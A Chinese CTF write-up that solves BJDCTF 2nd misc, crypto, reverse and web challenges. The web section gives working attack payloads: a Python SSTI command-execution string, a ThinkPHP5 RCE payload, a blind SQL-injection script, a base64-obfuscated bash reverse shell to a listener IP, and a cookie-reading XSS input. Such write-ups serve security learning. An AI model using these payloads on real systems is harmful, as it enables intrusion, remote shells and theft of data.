BJDCTF 2nd 刷题记录

  • 目录

    misc 最简单的misc

    misc a-beautiful-gril

    misc 小姐姐

    misc Real_easybaba

    misc easybaba

    misc 圣火昭昭

    misc Imagin-开场曲

    misc TARGZ

    crypto 签到题

    crypto 老文盲了

    crypto catflag

    crypto  燕言燕语

    crypto  灵能精通

    crypto Y1nglish

    crypto rsa0/rsa1

    re  guessgame

    web fack google

    web old-hack

    web SQLI

    web duangshell

    web 假猪套天下第一

    web Element Master

    web XSS之光


    misc 最简单的misc

zip伪加密---------7z解压
winhex打开文件发现png缺少头部

BJDCTF 2nd 刷题记录_第1张图片

正常的png

BJDCTF 2nd 刷题记录_第2张图片

加上89504e47得到图片(此处不知道为什么不能直接添加 因此winhex新建了一个文件将数据复制进去得到完整的png)
从图片中得到一串16进制字符串------------16进制转文本得到flag

  • misc a-beautiful-gril

查看属性发现图片高小于宽,猜测为png高度隐写  winhex打开修改图片高度和宽一样得到flag

BJDCTF 2nd 刷题记录_第3张图片

  • misc 小姐姐

winhex打来 ctrf f搜索BJD 得到flag

  • misc Real_easybaba

 winhex打来  发现有一串特殊的FF  仔细观察开头FF组成了BJD 截屏用笔画出来flag

BJDCTF 2nd 刷题记录_第4张图片

  • misc easybaba

就这个题相当头疼,压缩包出来解压得到图片,winhex查看发现PK,修改后缀名为zip。

解压出里面全是出题人.jpg。winhex打开发现头部为AVI,修改后缀为.AVI。

播放发现中间有东西一闪而过,使用Potplayer打开,一帧一帧的看,找到四张二维码截屏出来,通过QR扫描,可气的的是我只扫出来两张,还有两张扫不出来,队友扫出来三张为BJD{imagin_love_Y猜测flag为BJD{imagin_love_Y1ng}竟然过了。。。过了。。

  • misc 圣火昭昭

下载图片,查看属性得到发现新佛曰:**********

解密http://hi.pcmoe.net/buddha.html 得到gemlovecom,这里出题人说得到的key中com是多余的。之后就不知所措了。

题目提示flag全靠加粗。。。好吧outguess解密

outguess -k gemlove -r 1.png -t 1.txt

得到flag

  • misc Imagin-开场曲

总共三段,第一段三个音,第二段7个音,第三段7个音,猜测第一段为BJD,尝试正确,第二段仔细听第一个音为M,网站名为mikutap刚好七个字母,尝试正确,hint提示提交的flag为BJD{字母+数字}且数字范围为0-5,队友摸索出来为33331133331133,即3313313,得到flag为BJD{MIKUTAP3313313}

  • misc TARGZ

又是套娃题,winhex查看压缩包为zip,改后缀,文件名即为密码,解压出来发现循环了。上脚本:

import os, zipfile

def unzip(filename):
    try:
        password = filename.split('.')[0]
        print(password)
        with zipfile.ZipFile(filename,'r') as f:
            file2 = f.namelist()[0]
            file3 = file2.split('.')[0]+".zip"
            f.extract(file2,pwd=password.encode())
            os.rename(file2,file3)
            unzip(file3)
    except:
        print("over")
unzip("6pLUMCPtR.zip")

最终得到flag

  • crypto 签到题

 base64解密得到flag

  • crypto 老文盲了

这句话的意思是  bjd大括号这就是flag直接交了吧大括号
尝试后发现把这就是flag直接交了吧的繁体字放入BJD{}中即可----天大的脑洞

  • crypto catflag

图片中每行有八只,两种状态很明显为二进制ascii码,二进制转字符串

  • crypto  燕言燕语

16进制转text得到yanzi ZJQ{xilzv_iqssuhoc_suzjg}明显的flag格式猜测为移位密码,
维吉尼亚解密,key就是yanzi,去掉特殊字符解密,加上_,得到flag

  • crypto  灵能精通

圣堂武士密码(猪圈变种)

BJDCTF 2nd 刷题记录_第5张图片

  • crypto Y1nglish

1、quipquip破解  

2、爬山算法

(可能是算法的问题最后一个单词cr4cy 明显不对,改为cr4ck)

quipqiup - cryptoquip and cryptogram solver

  • crypto rsa0/rsa1

nc node3.buuoj.cn 27659

获得rsa的一些参数,通过计算都可以解出来n,和phi($n);以下代码关键点在于求得n,phi。

import gmpy2 as gp

import binascii

#p =  gp.mpz(9005841665689745124779826529443905179409665625718920723334034370138123486749949055730055391223541475734639571421445461610082441067769204635233880631428207)

#q =  gp.mpz(11615287066957037948859869918353725491056595046099284167234782531984513970383672439416439290012260718344407305388628139026937078595258548861222783997402763)

e =  gp.mpz(11513171)

c =  gp.mpz(84576292833543075099583941306456381869672307633232577500341795834894153581874866115310574726669756140764430710667790597318062612138557202838665570403301463681232503896438570531490554933475459777130800727427987536803824076930982241805837921689860355230906840281861799569888068517168910967972733492477016441120)

#n = p*q

#phi = (p-1) * (q-1)

n = gp.mpz(140749665201683585685293716678471054483640394122398281360825046211479836802690152224233686001421532008094715584654090470522259529203355561424226871882182257619678866604194444600048580398973452693657536549517465081695510147765278476023047735202849129346046153392577963656506763604213552298615282320563162897023)

phi = gp.mpz(140749665201683585685293716678471054483640394122398281360825046211479836802690152224233686001421532008094715584654090470522259529203355561424226871882182233891447515272506382777032906626359159531104534271169124546876533245391759620739664410331997444535726774613229422751582331851080739737696446025141184148968)

d = gp.invert(e, phi)

print(d)

m = pow(c, d, n)

print(m)

之后十进制转十六进制,再转文本

  • re  guessgame

IDA打开  main函数出f5 可得到flag

  • web fack google

python3 ssti模板注入,网上找的payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %} {% for b in c.__init__.__globals__.values() %}   {% if b.__class__== {}.__class__ %}{% if 'eval' in b.keys()%}{{b['eval']('__import__("os").popen("cat /flag").read()') }}{% endif %} {% endif %}{% endfor %}{% endif %}{% endfor %}
  • web old-hack

thinkphp5漏洞,在kali上searchexploit thinkphp5可以找到payload所在的文件。

payload

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
  • web SQLI

post注入,尝试 ' 发现被过滤检查了。尝试了一通无果后,扫描一下目录看看能不能找到源码,在/robots.txt中发现了/hint.txt,

访问/hint.txt ,发现了下面这条sql语句。

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

 既然 ' 被过滤了 那就尝试用 \ 将username的那个单引号转义,使得username前面的单引号和password前面的单引号组成一对

,然后用 || 1使得where子句恒成立,再用#将password后面的单引号注释,(为了方便理解,username的值加了括号)。即:

select * from users where username=(' \' and password=') ||1# '

此时 ,发现如下图,注入成功。由于select被过滤检查,大小写,双写绕过都不行,只能盲注了。

上脚本

import requests
url ="http://e7be3000-f932-4144-970d-27e85c816f51.node3.buuoj.cn/index.php"
password=""
for i in range(1,50):
    print(i)
    for j in range(32,128):
        data={
            'username':'\\',
            'password':'||ascii(substr((password),'+str(i)+',1))>'+str(j)+'#'#password换成username
            }
        r = requests.post(url,data=data)
        if "You konw" in r.text:
            password+=str(chr(j))
            print(password)
            break

先爆username = admin ,再爆password.最后登录得到flag。 

  • web duangshell

提示给到.swp,访问 .index.php.swp得到swp文件

放到linux下

vi -r index.php.swp

 

获得源码

BJDCTF 2nd 刷题记录_第6张图片

需要POST一个girl_friend,exec命令执行,但是没有回显,队友说是反弹shell,那好么,根据平台提示注册一个小号启动一台靶机 X, ssh远程连接上。

ifconfig

查看ip 174.1.53.240

nc -ivp 4444

  监听4444端口

目标机器使用命令

bash -i >& /dev/tcp/174.1.53.240/4444 0>&1

  反弹shell,由于过滤了>,使用base64编码绕过

构造payload :

girl_friend=ec""ho "YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTc0LjEuNTMuMjQwLzQ0NDQgMD4mMQo=
"|base""64 -d|bash

POST过去后,在X靶机上获得shell ,反弹shell成功

cat /flag

  得到flag

  • web 假猪套天下第一

拒绝套娃,从每一个人开始。。。。

尝试没什么发现,dirsearch扫一下目录发现了/.DS_store,这就很明显了ds_store_exp出目录,发现有一个特殊的文件L0g1n.php.访问了一下(这里需要随便登陆进去,不然跳转不了)。

BJDCTF 2nd 刷题记录_第7张图片

抓包看了下,有一个time参数,修改为9999999999

之后一堆。。。直接列举吧

X-Real-IP:127.0.0.1//可以代替X-Forwarded-For伪造ip

Referer指定从哪个网站跳转来的

UA:

给的是commodo64 ,百度时可以发现是commodore64,这是个8位的操作系统(好像是)因此修改win64为commodore64

注意:抓的linux下火狐的包只需要修改那个地方,不然需要修改Windows NT 10.0 为x11,修改x64为rv:60.

via:列出从客户端到 服务器的响应经过了哪些代理服务器

From:给定控制用户代理的人工用户的电子邮件地址

最后看到Zmxh结束,base64解码得到flag

  • web Element Master

y1ng大佬手画的图,不错不错。。。

查看看源代码,发现id=506f2e  不知道是啥,但是id=706870,这个很特殊啊,php的16进制。转出来为Po.php

访问了一下,有东西,给了一个   .  。结合题目,访问H.php和He.php结果是404。最后出题人给了hint,一个元素周期表的字典。说明这里面有的元素.php访问有东西。好吧,上脚本

import requests
url="http://127.0.0.1/"
flag=""
with open("em.txt",'r') as f:
    for i in f.read().split(','):
        i = i.strip()
        r = requests.get(url+i+".php")
        if "404" not in r.text:
            flag+=r.text
print(flag)

得到一个文件,访问得到flag.

  • web XSS之光

访问就让我gungungun,当场去世。

git文件泄露。使用工具githack可以下载出index.php的源码

serialize() 函数用于序列化对象或数组,并返回一个字符串。

serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

如果想要将已序列化的字符串变回 PHP 的值,可使用 unserialize() 

题目为XSS,肯定和XSS有关,构造payload:

yds_is_so_beautiful=s:104:"alert(document.cookie)";

抓包可以看到flag在cookie里面。

你可能感兴趣的:(CTF)